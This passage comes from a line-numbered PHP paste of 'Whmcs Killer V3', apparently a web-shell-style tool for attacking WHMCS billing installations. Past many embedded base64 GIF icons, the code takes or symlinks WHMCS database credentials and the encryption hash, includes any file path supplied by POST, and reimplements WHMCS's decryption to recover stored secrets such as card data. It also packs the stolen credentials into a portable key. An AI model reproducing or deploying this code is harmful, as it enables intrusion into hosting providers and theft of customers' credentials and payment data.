DwRakBXP+Axg841GorDj+gccFRViUlASAvBCvssC8AIkGvSkVABArMNutss0REEBZZZDWRwbXYZqttE23B9ZYOVawg7rgJjTtuFQ345RceJbTrbgkJvesuHostpsQJ+OZ7QkL65qsEZpiFIcPAMkxEsAxhkEaaFTQ0TMNEDtNgBWywRTHDxTNMhPEMUfDG2xEmhCyyCQmNLPIRySVXyAQstzxBQi63XIh11vnQAwI455xQzjn34AN5QCfB89BEJ9EefPDpkAHRTGegw37+RV2AGUzzbEYBCS644Btj9BAzyz2M8caFG5bdgAJFwEHIBITAUYQCJrIo99wnukjj3XgfYCOPfPc0feOQgAfuY5FMFm54AU5CaeXii2OpJZdiRh4mmWai6ebll8MpJ5127ul5nn3+GeihpBsaEAA7'));
  41. exit;
  42. }
  43. //-----------
  44. //btn-create-right.gif
  45. if ($_GET['img']==3){
  46. header('Content-Type: image/gif');
  47. echo (base64_decode('R0lGODlhrwAlANUAAP////7+/v39/erq6rKystfX1+Dg4Nvb2+fn5/f39/n5+fDw8OXl5e7u7vj4+OLi4uvr6/z8/PT09PPz8/Hx8fr6+vv7+/b29tjY2N7e3tTU1NLS0ubm5rS0tOnp6bm5udnZ2cTExNHR0e/v793d3cPDw+jo6L29vcnJycbGxt/f38XFxcDAwMLCwqurq9ra2ri4uM7Ozq6ursjIyKysrOPj4wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAAAAAAALAAAAACvACUAAAb/QIBwSCwaj8ikcslsOp/QaDMxYnA8g+xAyu16v+CwV8AxmLTitHrNbhdHB07WTa/b78YaCLHF+/+AXQExKh6Bh4iJRiQiHAGPkJGSk5SVlpeYmZqbnJ2enwELJQagpaanqKmqnwofB6uwsbKztI8dILW5uru8kAQFAsHCw8TFxsfIycrLzM3Oz9DRwb/S1dbX2Nna0r8R3t/g4eLj5OXm5+jp6uvs7e7evxby8/T19vf4+fr7/P3+/wADCpT3q4LBgwgTKlzIsKHDhxAjSpxIsaJFg78UaNzIsaPHjyBDihxJsqTJkyhTqtT4y4HLlzBjypxJs6bNmzhz6tzJs6dP/5e/EggdSrSo0aNIkypdyrSp06dQo0oV+uuC1atYs2rdyrWr169gw4odS7asWau/JKhdy7at27dw48qdS7eu3bt48+pV+2uC37+AAwseTLiw4cOIEytezLixY7+/KEieTLmy5cuYM2vezLmz58+gQ4uW/GuB6dOoU6tezbq169ewY8ueTbu2bdO/Gujezbu379/AgwsfTry48ePIkyvX/QuC8+fQo0ufTr269evYs2vfzr27d+e/tIgfT768+fPo06tfz769+/fwx/9CQL++/fv48+vfz7+///8ABijggATS9wsDCCao4IIMNujggxBGKOGEFFZo4YUYMvDALw906P/hhyCGKOKIJJZo4okopqjiiiy2+EABHWBgwIw01mjjjTjmqOOOPPbo449ABinkkAas4EoGSCap5JJMNunkk1BGKeWUVFZp5ZVYkkDAKAd06eWXYIYp5phklmnmmWimqeaabLbZAgGNYCDnnHTWaeedeOap55589unnn4AGGugMLoSQgQcaJKrooow26uijkEYq6aSUVmrppZhaugEMNLCwxwAbhCrqqKSWauqpqKaq6qqsturqq7CyisIJMnSQwgtyDEDArrz26uuvwAYr7LDEFmvsscgmq6yxHXwQwgZmaFHAtNRWa+212Gar7bbcduvtt+CGK663GBxgwBXiBQEAOw=='));
  48. exit;
  49. }
  50. //-----------
  51. //content-h1.gif
  52. if ($_GET['img']==4){
  53. header('Content-Type: image/gif');
  54. echo (base64_decode('R0lGODlhAQA3AMQAADAwMDExMTU1NTIyMk5OTjQ0NDg4OD4+PjMzM0xMTDs7O0pKSlBQUElJSTw8PDc3NzY2NkBAQEVFRUhISDo6OkREREFBQUJCQj8/P0dHR0ZGRjk5OUNDQwAAAAAAAAAAACH5BAAAAAAALAAAAAABADcAAAUmIMMQZJIsSzNlmlRxlxVhx+EoCrUZxgMJwEIBgRgYA0gkYMlkhgAAOw=='));
  55. exit;
  56. }
  57. //-----------
  58. //content.gif
  59. if ($_GET['img']==5){
  60. header('Content-Type: image/gif');
  61. echo (base64_decode('R0lGODlhBQABAKIAAOjo6OPj49zc3NLS0sfHxwAAAAAAAAAAACH5BAAAAAAALAAAAAAFAAEAAAMECCFDCQA7'));
  62. exit;
  63. }
  64. //-----------
  65. //dot.gif
  66. if ($_GET['img']==6){
  67. header('Content-Type: image/gif');
  68. echo (base64_decode('R0lGODlhAwABAIABAM/Pz////yH5BAEAAAEALAAAAAADAAEAAAICRFIAOw=='));
  69. exit;
  70. }
  71. //-----------
  72. //ico-delete.gif
  73. if ($_GET['img']==7){
  74. header('Content-Type: image/gif');
  75. echo (base64_decode('R0lGODlhEAAQAIABAN8AAP///yH5BAEAAAEALAAAAAAQABAAAAIhjI+py82Q4AL0UIlu1djy+3wON4rTV0VaQKoYOEXOTB8FADs='));
  76. exit;
  77. }
  78. //-----------
  79. //ico-done.gif
  80. if ($_GET['img']==8){
  81. header('Content-Type: image/gif');
  82. echo (base64_decode('R0lGODlhEAAQAIABACewC////yH5BAEAAAEALAAAAAAQABAAAAIfjI+py+0I3gFU0utuTdHoDlWf8mlMCS7jg0lB6sZPAQA7'));
  83. exit;
  84. }
  85. //-----------
  86. //ico-info.gif
  87. if ($_GET['img']==9){
  88. header('Content-Type: image/gif');
  89. echo (base64_decode('R0lGODlhEAAQAMQVAACFzP///wyLznvA5fP5/SGV0zCc1oHD5gOGzcDh8jmg1+r1+67Y7+32+w+Mz37B5Taf16vX7rre8bfd8QaIzf///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEAABUALAAAAAAQABAAAAVUYCWOZFkSh4IgykGYVVIAdF0kJVPvNTM2gl0gsBM0RAOeEjAQGYRDnkFE4UV3DpHDSiw6uVIk9EprVhbBJU2wGEXUtEhJMuMVJjDCA0KDPF4wgSQhADs='));
  90. exit;
  91. }
  92. //-----------
  93. //ico-warning.gif
  94. if ($_GET['img']==10){
  95. header('Content-Type: image/gif');
  96. echo (base64_decode('R0lGODlhEAAQAKIEAN8AAP///+UvL+QqKv///wAAAAAAAAAAACH5BAEAAAQALAAAAAAQABAAAAM0SLokwhACEKuYo8pJtbpc5nGcBwYBpnFoGYFAq26TPEFwnIYM6bsNn232G95yP9IgyQQkAAA7'));
  97. exit;
  98. }
  99. //-----------
  100. //menu-left.gif
  101. if ($_GET['img']==11){
  102. header('Content-Type: image/gif');
  103. echo (base64_decode('R0lGODlhBQBGAOYAAP////7+/vv7+/39/ebm5vT09Pz8/O/v7+3t7eHh4evr6/j4+Pn5+fHx8fLy8uPj4+np6ff39/b29t7e3tvb29jY2NbW1hWn9gWN1gaO19LS0gaK0gaM1BWn9QWJ0AWFygWGywSEyAR5uANtpgWM1YXQ+LvJ0UOw68fo+rHP38Ti8pXB2DaLuE+895KwwEGWxGelxrfi+Xq42dXX1/D4/ESx66nL3DqazkSk2NHZ3fH5/efv9M/X26nG1r7Hy/z+//z9/tTV1nC64ub0/E679QAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAAAAAAALAAAAAAFAEYAAAfEgBcXLTFDHSUAiUQ/iQAojQA6kJMBlZaXmAOam5wGnp4CoaKjDKWlC6ioEaurEq6uBbGxDrS0Dbe3B7q6CL29CsDAEMPDBMbGD8nJCczMORPQEz0U1BQ3MxXZGzAW3RkgLC4+GRwfIiMYGCQeIYInKyYdQhr0NUHdFjbZ2TzVFNHQmjFTluyYMWLDggHz1WuXLly3atGSFeuVK1arUqEyVWqURwGfPHEaOQCTyUs0IKmAhANIow0yGn17kWIHOXPo1LELBAA7'));
  104. exit;
  105. }
  106. //-----------
  107. //menu-right.gif
  108. if ($_GET['img']==12){
  109. header('Content-Type: image/gif');
  110. echo (base64_decode('R0lGODlh8QFGAOYAAP////7+/v39/fv7++Hh4fz8/Pj4+Pn5+ff39/Hx8ebm5vLy8vb29uvr6+/v7+np6fT09O3t7ePj497e3tvb29bW1tjY2NLS0gR/wQJjl8/PzwRnnAJkmANlmQRmmxWn9gJmnAVonQR5uASAwwFilgWN1gaO1w2O0wNlmgNmmgJjmANtpgSEyBKf6gaDxQuL0AeFxwN0sAWJ0AaGywh1sBGZ4gZsogyL0BOh7QRnmwNkmQVongWFygqIzAeDxgWGywiFyQuLzweExxSl8gJmmwmHyg2O1BSk8QmIyw2N0gaK0gWM1QWDxQyHyAqKzgNspRGX3w+S2AqIzQeFyAyM0RWm9BWn9QiGygaM1A6P1RKa4waCxQqJzUCCpkCCpTV3m/D1+MTb6Huov2yszjZ4nNTY2kGn38PX4tXW15Ksuub0+z2VxYLC5LHL2fz9/vP3+Uefz77GyrvJ0JW9002z67bf9M7T1qe7xmeUrOfv86a9ygAAAAAAAAAAAAAAAAAAACH5BAAAAAAALAAAAADxAUYAAAf/gACCg4SFhoeIiYqLjI2Oj5CRkpOUlZaXmJmam5ydnplqdXQ4VR8fn6ipqqusra6vsLGys4xsWkdWtLq7vL2+v8DBwolwNUPDyMnKy8zNzqphTS3P1NXW19jZr2A0UNrf4OHi49c2UQHo6err7O3u7/Dx8vP09fb3+Pn6+/z9/v8AAwocSJDgjiwFEypcyLChw4cQI0qcSJFeCCMVM2rcyLGjx48gQ8ILcUKAyZMoU6pcybKly5cwY8qcSbOmzZs4c+rcybOnz59AgwoVuqHk0KNIkypdyrSp06dQo0qNuSFJgatYs2rdyrWr169gw4odS7as2bNo06pdy7at27dw/+PKnTt3A5UBePPq3cu3r9+/gAMLHky4sOHDiBMrXsy4sePHkCNLnkyZ8oYblTNr3sy5s+fPoEOLHk2acI4XB1KrXs26tevXsGPLnk27tu3buHPr3s27t+/fwIMLH068eHEPQQwoX868ufPn0KNLn069uvXr2LNr3869u/fv4MOLH0++vHnzHpwgWM++vfv38OPLn0+/vv37+PPr38+/v///AAYo4IAEFmjggQd6wAUDDDbo4IMQRijhhBRWaOGFGGao4YYcdujhhyCGKOKIJJZo4okoopiCFBC06OKLMMYo44w01mjjjTjmqOOOPPbo449ABinkkEQWaeSRSCaZZP8KPSzg5JNQRinllFRWaeWVWGap5ZZcdunll2CGKeaYZJZp5plopqmmmiggkcCbcMYp55x01mnnnXjmqeeefPbp55+ABirooIQWauihiCaq6KKLolCEA5BGKumklFZq6aWYZqrpppx26umnoIYq6qiklmrqqaimquqqrLLawRURxCrrrLTWauutuOaq66689urrr8AGK+ywxBZr7LHIJqvsssw222wHQDQg7bTUVmvttdhmq+223Hbr7bfghivuuOSWa+656Kar7rrstuuuux1M8cC89NZr77345qvvvvz26++/AAcs8MAEF2zwwQgnrPDCDDfs8MMP6wCDAhRXbPH/xRhnrPHGHHfs8ccghyzyyCSXbPLJKKes8sost+zyyzDDzIEQEtRs880456zzzjz37PPPQAct9NBEF2300UgnrfTSTDft9NNQRx01Bz4QYPXVWGet9dZcd+3112CHLfbYZJdt9tlop6322my37fbbcMctt9wcbDHB3XjnrffefPft99+ABy744IQXbvjhiCeu+OKMN+7445BHLvnkkpfBgQsUZK755px37vnnoIcu+uikl2766ainrvrqrLfu+uuwxy777LTXTvsdRDBhwe689+7778AHL/zwxBdv/PHIJ6/88sw37/zz0Ecv/fTUV2/99dWjQcYTM1Tg/ffghy/+//jkl2/++einr/767Lfv/vvwxy///PTXb//9+OevP/54kCCCEhcIoAAHSMACGvCACEygAhfIwAY68IEQjKAEJ0jBClrwghjMoAY3yMEOYjAOafgCCWLwAxOAQAUZSKEKV8jCFrrwhTCMoQxnSMMa2vCGOMyhDnfIwx768IdADKIQh0jEIvpQBSBYgQh4gAUTjAADUIyiFKdIxSpa8YpYzKIWt8jFLnrxi2AMoxjHSMYymvGMaEyjGtfIxjOOgAUyWEIJSqCBOtrxjnjMox73yMc++vGPgAykIAdJyEIa8pCITKQiF8nIRjrykZCMJCPlMAczkMIUHsykJjfJyU568v+ToAylKEdJygWO4RZW2J8qV8nKVrrylbCMpSxnSctapm8NxsCeLnfJy1768pfADKYwh0nMYhpPD9KwnTKXycxmOvOZ0IymNKdJzWqSzg7doJw2t8nNbnrzm+AMpzjHSc5yDs4cc0unOtfJzna6853wjKc850lPsR1EavjMpz73yc9++vOfAA2oQAcatIvE7KAITahCF8rQhjr0oRCNqERBRhKIWfSiGM2oRjfK0Y569KMgDem/ivKukpr0pChNqUpXytKWuvSlMPVWVZxF05ra9KY4zalOd8rTnvr0p72yS6uGStSiGvWoSE2qUpfK1KY6lVOXYZRUp0rVqlr1qlj/zapWt8rVru7pNGsKq1jHStaymvWsaE2rWtfKVi0hR0lwjatc50rXutr1rnjNq173mqP0pOivgA2sYAdL2MIa9rCITaxiMaQgBDn2sZCNrGQnS9nKWvaymM3sfVZ0ns569rOgDa1oR0va0pr2tKi1DpOMw9rWuva1sI2tbGdL29ra9ra1aVNpdsvb3vr2t8ANrnCHCxhHEfe4yE2ucpfL3OZy5lV0ia50p0vd6lr3utjNrna3y92xQGsq4A2veMdL3vKa97zodUm80sve9rr3vfCNr3yVIjGR2Pe++M2vfvfLX4bMrL8ADrCAB0zgAkeEagZOsIIXzOAGD7hu5IiwboQnTOEKd+INl7OwhjfM4Q5T+Ay587CIR0ziEgvDDV7gnolXzOIWu5gTYvCfEl5M4xrb+MZ5aEMXRljCExrxx0AOspCHTOQiG/nISE6ykl2IRCUy0YltjLKUp0zlKlv5yljOspa3zOUrvjGOcwwEADs='));
  111. exit;
  112. }
  113. //-----------
  114. //menu.gif
  115. if ($_GET['img']==13){
  116. header('Content-Type: image/gif');
  117. echo (base64_decode('R0lGODlhAQBBANUAABis+xmt/QKI0Beq+QOK0gGHzhSl8hCe6wWN1Rap9xqu/giS3AqV3wKHzwaP2RWn9Q6b5xqv/wuX4gyY4w+d6Rir+giS2wmU3hGh7hKi7xmu/g2a5hOk8QeR2gSL0wyZ5AuW4RSl8wSM1Rao9gmT3QCGzQ6c6ACFzBWn9gaO1w2a5RSm9Bap+AWN1geQ2gqW4BKi8AGGzQ+e6gSL1Bit/BCf7BOj8E3T/wKJ0QaP2BGg7QAAAAAAAAAAAAAAAAAAACH5BAAAAAAALAAAAAABAEEAAAY7wFtEoQkEaABAZTBgJUaoxypk4NhgGYyudpBRTJCN6jORgF6MC2lh6bgcuVQLIZp5CAScQNAoFGIlJ0EAOw=='));
  118. exit;
  119. }
  120. //-----------
  121. //separator.gif
  122. if ($_GET['img']==14){
  123. header('Content-Type: image/gif');
  124. echo (base64_decode('R0lGODlhAQACAIAAAP///8/PzyH5BAAAAAAALAAAAAABAAIAAAICDAoAOw=='));
  125. exit;
  126. }
  127. //-----------
  128. //submenu-active.gif
  129. if ($_GET['img']==15){
  130. header('Content-Type: image/gif');
  131. echo (base64_decode('R0lGODlhDQBkAIABAOrq6v///yH5BAEAAAEALAAAAAANAGQAAAJLhI+py+0Po5y02ouz3rz7D4YiFUBB6Zwoo65K6yJwbMy0HeOuvvKoXwIKhQBfTXdAJm0JZhO2gEZVDWqV1hxpt9yu9wsOi8fkMqQAADs='));
  132. exit;
  133. }
  134. //-----------
  135. //submenu-sub.gif
  136. if ($_GET['img']==16){
  137. header('Content-Type: image/gif');
  138. echo (base64_decode('R0lGODlhCQAJAIABAJ+fn////yH5BAEAAAEALAAAAAAJAAkAAAINRI6pZ+vYnotSmRtuAQA7'));
  139. exit;
  140. }
  141. //-----------
  142. //tabs-l.gif
  143. if ($_GET['img']==19){
  144. header('Content-Type: image/gif');
  145. echo (base64_decode('R0lGODlhBADIALMAAOrq6t8AAOvr6/////Hx8eEPD/39/eESEuzs7OIbG+pUVOpXV/z8/Pzk5PrY2AAAACH5BAAAAAAALAAAAAAEAMgAAAQ9cLSV3AlB4VC2/2AojmRpnmiqrmzrvnAsz3RtDgaBMAIAED5AL0gsGo/IpHLJbDqf0Kh0Sq1ar9isdruMAAA7'));
  146. exit;
  147. }
  148. //-----------
  149. //tabs-r.gif
  150. if ($_GET['img']==20){
  151. header('Content-Type: image/gif');
  152. echo (base64_decode('R0lGODlh8AHIALMAAOrq6t8AAP///+vr6/Hx8eESEulRUfz8/OpXV/rV1ezs7OIbG/zk5P39/eEMDAAAACH5BAAAAAAALAAAAADwAcgAAAT/MMhJq7046827/2AojmRpnmiqrmzrrgvCCG9t33iu73zv/8BOIREsGo/IpHLJbGoMzqh0Sq1arzgHdsvter/gsHhMLpvP6LR6zW673/C4fE6v2+/4vH7P7/v/gIGCg4SFhoeIiYqLjI2Oj5CRkpOUlZaXmJmam5ydnp+goaKjpKWmp6ipqqusra6vsLGys7S1tre4ubq7vL2+v8DBwsPExcbHyMnKy8zNzs/Q0dLT1NXW19jZ2tvc3d7f4OHi4+Tl5ufo6err7O3u7/Dx8vP09fb3+Pn6+/z9/v8AAwocSLCgwYMIEypcyLChw4cQI0qcSLGixYsYM2rcyLGjx48g/0OKHEmypMmTKFOqXMmypcuXMGPKnEmzps2bOHPq3Mmzp8+fQIMKHUq0qNGjSJMqXcq0qdOnUKNKnUq1qlUmALJq3cq1q9evYMOKHUu2rNmzaNOqXcu2rdu3cOPKnUu3rlwFBBoIsMu3r9+/gAMLHky4sOHDZAccQMy4sePHkCNLnkw5LIHKmDNr3sy5s+e/Az6LHk26tOnTqFOrXs26tevXsGPLnk27tu3buHPr3s27t+/fwIMLH068uPHjyJMrX868ufPn0KNLn069uvXr2LNr3869u/fv4MOLH0++vPnz6NOrX8++vfv38OPLn0+/vv37+PPr38+/v///AAYo4MSABBZo4IEIJqjgggw26OCDEEYo4YQUVmjhhRhmqOGGHHbo4YcghijiiCSWaOKJKKao4oostujiizDGKOOMNNZo44045qjjjjz26OOPQAYp5JBEFmnkkUgmqeSSTDbp5JNQRinllFRWaeWVWGap5ZZcdunll2CGKeaYZJZp5plopqnmmmy26eabcMYp55x01mnnnXjmqeeefPbp55+ABirooIQWauihiCaq6KKMNuroo5BGKumklFZq6aWYZqrpppx2OlkEADs='));
  153. exit;
  154. }
  155. //-----------
  156. //tray-logout.gif
  157. if ($_GET['img']==21){
  158. header('Content-Type: image/gif');
  159. echo (base64_decode('R0lGODlhDAAJAIABAIDQ/////yH5BAEAAAEALAAAAAAMAAkAAAITjB+Aa6B83JOUpoqzhRK254FBAQA7'));
  160. exit;
  161. }
  162. //-----------
  163. //tray.gif
  164. if ($_GET['img']==22){
  165. header('Content-Type: image/gif');
  166. echo (base64_decode('R0lGODlhAQAjAMQAADAwMDExMTIyMjU1NUxMTEFBQT8/P0pKSkdHR1BQUDk5OT4+PjQ0NDw8PDc3Nzo6OkJCQk9PTzMzM0REREhISDs7O05OTjY2NkVFRQAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAAAAAAALAAAAAABACMAAAUaYBJZBHFQCDZBhbE01aM41zAwkiAEfAD8vxAAOw=='));
  167. exit;
  168. }
  169. //-----------
  170. //ul-ul.gif
  171. if ($_GET['img']==23){
  172. header('Content-Type: image/gif');
  173. echo (base64_decode('R0lGODlhCAAIAMQAAM/Pz/////r6+t7e3vz8/N/f39TU1NbW1vv7+9LS0tPT0/j4+OHh4dzc3NXV1d3d3f39/QAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAAAAAAALAAAAAAIAAgAAAUtYCAMSTIIAWEALGAgBTAQxAAUKyq6CqALAEWssVg8bohDC+BABCCMw4FBCIQAADs='));
  174. exit;
  175. }
  176. //-----------
  177. //ul.gif
  178. if ($_GET['img']==24){
  179. header('Content-Type: image/gif');
  180. echo (base64_decode('R0lGODlhCAAIAMQAAN8AAP///+lOTuQkJP3t7fzn5+IXF+pXV/rb2+pUVOEREeIaGvzk5OtgYPzr6/zl5ehFReMeHvzq6uIYGOlRUf3w8OIbG/729uhLSwAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAAAAAAALAAAAAAIAAgAAAUzYPAIiiI8AWEBLDBJByAQBAUcC8AEAQMsBkCBVwAYEgAIAoEBJByDFiDiCFwag0GjEggBADs='));
  181. exit;
  182. }
  183. //-----------
  184. #####################
  185. function login()
  186. {
  187. echo"\n
  188. <center><div id='content' class='box'>
  189. \n<br>\n<center>\n\n<h3 class=\"tit\">
  190. DB configuration of WHMCS</h3><br>\n</center>\n
  191. <FORM action=\"\" method=\"post\" >\n
  192. <input type=\"hidden\" name=\"form_action\" value=\"1\">\n<br>\n
  193. <table >\n\n
  194. <tr class='bg'><td>Database Host </td><td><input type=\"text\" size=\"60\" name=\"db_host\" value=\"".$_COOKIE["db_host"]."\"></td></tr>
  195. \n<tr ><td>Database Username </td><td><input type=\"text\" size=\"60\" name=\"db_username\" value=\"".$_COOKIE["db_username"]."\"></td></tr>
  196. \n<tr class='bg'><td>Database Password</td><td><input type=\"text\" size=\"60\" name=\"db_password\" value=\"".$_COOKIE["db_password"]."\"></td></tr>
  197. \n<tr><td>Database Name</td><td><input type=\"text\" size=\"60\" name=\"db_name\" value=\"".$_COOKIE["db_name"]."\"></td></tr>
  198. \n<tr class='bg'><td>cc_encryption_hash</td><td><input type=\"text\" size=\"60\" name=\"cc_encryption_hash\" value=\"".$_COOKIE["cc_encryption_hash"]."\"></td></tr>
  199. \n\n\n</table\n<br>\n
  200. <INPUT class=\"input-submit\" type=\"submit\" value=\"Submit\" name=\"Submit\">\n</FORM>
  201. \n\n\n<h3 class=\"tit\">Symlink to configuration.php of WHMCS</h3><br>\n\n
  202. <FORM action=\"\" method=\"post\">
  203. <input type=\"hidden\" name=\"form_action\" value=\"2\"><br>\n
  204. <table ><tr class='bg'><td><input type=\"text\" size=\"30\" name=\"file\" value=\"\">\n<br>\n </td><td><INPUT class=\"input-submit\" type=\"submit\" value=\"Submit\" name=\"Submit\"></td></tr></table>
  205. \n</FORM>";
  206. if ($_COOKIE["login"]=="1")
  207. {
  208. $key=$_COOKIE["db_name"]."-".base64_encode(base64_encode($_COOKIE["db_host"])."|".base64_encode($_COOKIE["db_username"])."|".base64_encode($_COOKIE["db_password"])."|".base64_encode($_COOKIE["db_name"])."|".base64_encode($_COOKIE["cc_encryption_hash"])."|");
  209. echo "<p class='msg info'>Short info is <br><textarea cols=50 rows='4'>$key</textarea></p><br>";
  210. }
  211. echo "<h3 class=\"tit\">Short info</h3><FORM action=\"\" method=\"post\">
  212. \n<input type=\"hidden\" name=\"form_action\" value=\"3\">\n<br>\n
  213. <table ><tr class='bg'><td><input type=\"text\" size=\"60\" name='key' ></td><td>
  214. </td><td><INPUT class=\"input-submit\" type=\"submit\" value=\"Submit\" name=\"Submit\"></td></tr></table>
  215. \n</FORM></center></div>
  216. <br>
  217. ";
  218. echo '</div> <!-- /cols -->
  219. <hr class="noscreen" />
  220. <!-- Footer -->
  221. <div id="footer" class="box">
  222. <p class="f-left">Coded by <a href="http://www.rab3oun.net">RAB3OUN</a>, </p>
  223. <p class="f-right">Templates by Adminizio</p>
  224. </div> <!-- /footer -->
  225. </div> <!-- /main -->
  226. </body>
  227. </html>';
  228. }
  229. #####################
  230. function decrypt($string,$cc_encryption_hash)
  231. {
  232. $key=md5(md5($cc_encryption_hash)).md5($cc_encryption_hash);
  233. $hash_key=_hash($key);
  234. $hash_length=strlen($hash_key);
  235. $string=base64_decode($string);
  236. $tmp_iv=substr($string,0,$hash_length);
  237. $string=substr($string,$hash_length,strlen($string)-$hash_length);
  238. $iv=$out="";
  239. $c=0;
  240. while($c<$hash_length)
  241. {
  242. $iv.=chr(ord($tmp_iv[$c])^ord($hash_key[$c]));
  243. ++$c;
  244. }
  245. $key=$iv;
  246. $c=0;
  247. while($c<strlen($string))
  248. {
  249. if(($c!=0 AND$c%$hash_length==0))
  250. {
  251. $key=_hash($key.substr($out,$c-$hash_length,$hash_length));
  252. }
  253. $out.=chr(ord($key[$c%$hash_length])^ord($string[$c]));
  254. ++$c;
  255. }
  256. return$out;
  257. }
  258. #####################
  259. function _hash($string)
  260. {
  261. if(function_exists("sha1"))
  262. {
  263. $hash=sha1($string);
  264. }
  265. else
  266. {
  267. $hash=md5($string);
  268. }
  269. $out="";
  270. $c=0;
  271. while($c<strlen($hash))
  272. {
  273. $out.=chr(hexdec($hash[$c].$hash[$c+1]));
  274. $c+=2;
  275. }
  276. return$out;
  277. }
  278. #####################
  279. function randomt()
  280. {
  281. $chars="abcdefghijkmnopqrstuvwxyz023456789";
  282. srand((double)microtime()*1000000);
  283. $i=0;
  284. $pass="";
  285. while($i<=7)
  286. {
  287. $num=rand()%33;
  288. $tmp=substr($chars,$num,1);
  289. $pass=$pass.$tmp;
  290. $i++;
  291. }
  292. return$pass;
  293. }
  294. #####################
  295. @set_time_limit(0);
  296. ob_start();
  297. if($auth==1)
  298. {
  299. if(!isset($_SERVER["PHP_AUTH_USER"])||md5($_SERVER["PHP_AUTH_USER"])!==$user||md5($_SERVER["PHP_AUTH_PW"])!==$pass)
  300. {
  301. header("WWW-Authenticate: Basic realm='Powered By RAB3OUN'");
  302. header("HTTP/1.0 401 Unauthorized");
  303. exit("Go To Hell");
  304. }
  305. }
  306. $p=$_GET["p"];
  307. if($_POST["form_action"]==1)
  308. {
  309. setcookie("db_host",$_POST["db_host"]);
  310. setcookie("db_username",$_POST["db_username"]);
  311. setcookie("db_password",$_POST["db_password"]);
  312. setcookie("db_name",$_POST["db_name"]);
  313. setcookie("login","1");
  314. setcookie("cc_encryption_hash",$_POST["cc_encryption_hash"]);
  315. $c=@mysql_connect($_POST["db_host"],$_POST["db_username"],$_POST["db_password"]);
  316. $c2=@mysql_select_db($_POST["db_name"],$c);
  317. if ($c and $c2)
  318. {
  319. echo '<center><p class="msg done">Done : Connection Successfully </p></center>';
  320. echo("<meta http-equiv='refresh' content='1;URL=?p=102' />");
  321. }
  322. else{
  323. echo '<p class="msg error">Database error</p>';
  324. }
  325. }
  326.  
  327. if($_POST["form_action"]==2)
  328. {
  329. $file=($_POST["file"]);
  330. include($file);
  331. /*
  332. $text=file_get_contents($file);
  333. $text=str_replace("<?php","",$text);
  334. $text=str_replace("<?","",$text);
  335. $text=str_replace("?>","",$text);
  336. eval($text);*/
  337.  
  338. setcookie("db_host",$db_host);
  339. setcookie("db_username",$db_username);
  340. setcookie("db_password",$db_password);
  341. setcookie("db_name",$db_name);
  342. setcookie("login","1");
  343. setcookie("cc_encryption_hash",$cc_encryption_hash);
  344. $c=@mysql_connect($db_host,$db_username,$db_password);
  345. $c2=mysql_select_db($db_name,$c);
  346. if ($c and $c2)
  347. {
  348. echo '<center><p class="msg done">Done : Connection Successfully </p></center>';
  349. echo("<meta http-equiv='refresh' content='1;URL=?p=102' />");
  350. }
  351. else{
  352. echo '<p class="msg error">Database error</p>';
  353. }
  354. }
  355. if($_POST["form_action"]==3)
  356. {
  357. $key=($_POST["key"]);
  358. $key=explode("-",$key);
  359. $v=explode("|",base64_decode($key[1]));
  360. setcookie("db_host",base64_decode($v[0]));
  361. setcookie("db_username",base64_decode($v[1]));
  362. setcookie("db_password",base64_decode($v[2]));
  363. setcookie("db_name",base64_decode($v[3]));
  364. setcookie("login","1");
  365. setcookie("cc_encryption_hash",base64_decode($v[4]));
  366. $c=@mysql_connect(base64_decode($v[0]),base64_decode($v[1]),base64_decode($v[2]));
  367. $c2=@mysql_select_db(base64_decode($v[3]),$c);
  368. if ($c and $c2)
  369. {
  370. echo '<center><p class="msg done">Done : Connection Successfully </p></center>';
  371. echo("<meta http-equiv='refresh' content='1;URL=?p=102' />");
  372. }
  373. else{
  374. echo '<p class="msg error">Database error</p>';
  375. }
  376. echo("<meta http-equiv='refresh' content='1;URL=?p=102' />");
  377. }
  378. function header2() {
  379. global $currentFile;
  380. echo "
  381. <html><title>Whmcs Killer V3 (Coded by RAB3OUN)</title><head>";
  382. echo '
  383. <link rel="stylesheet" media="screen,projection" type="text/css" href="'.$currentFile.'?css=1" />
  384. <link rel="stylesheet" media="screen,projection" type="text/css" href="'.$currentFile.'?css=5" />
  385. <link rel="stylesheet" media="screen,projection" type="text/css" href="'.$currentFile.'?css=4" title="2col" />
  386. <link rel="alternate stylesheet" media="screen,projection" type="text/css" href="'.$currentFile.'?css=3" title="1col" />
  387.  
  388. <link rel="stylesheet" media="screen,projection" type="text/css" href="'.$currentFile.'?css=2" /> <!-- GRAPHIC THEME -->
  389.  
  390. ';
  391. echo "
  392. <style>
  393. #content {border:1px solid #afafaf; background:#fff;width:650;}
  394. </style>
  395. <meta http-equiv='Content-Type' content='text/html; charset=utf-8' />
  396. </head>\n<body >
  397. <center><img src='?img=0'></center>
  398. ";
  399. }
  400. function header1() {
  401. global $currentFile;
  402. @$query0=mysql_query("SELECT value FROM tblconfiguration where setting='Charset' or setting='charset'");
  403. @$v0=mysql_fetch_array($query0);
  404. $charset=$v0['value'] ? $v0['value'] : "utf-8";
  405. echo '<?xml version="1.0"?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
  406. <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
  407. <head>
  408. <meta http-equiv="Content-Type" content="text/html; charset='.$charset.'" />
  409. <meta http-equiv="content-language" content="en" />
  410. <meta name="robots" content="noindex,nofollow" />
  411.  
  412. <link rel="stylesheet" media="screen,projection" type="text/css" href="'.$currentFile.'?css=1" /> <!-- RESET -->
  413. <link rel="stylesheet" media="screen,projection" type="text/css" href="'.$currentFile.'?css=5" /> <!-- MAIN STYLE SHEET -->
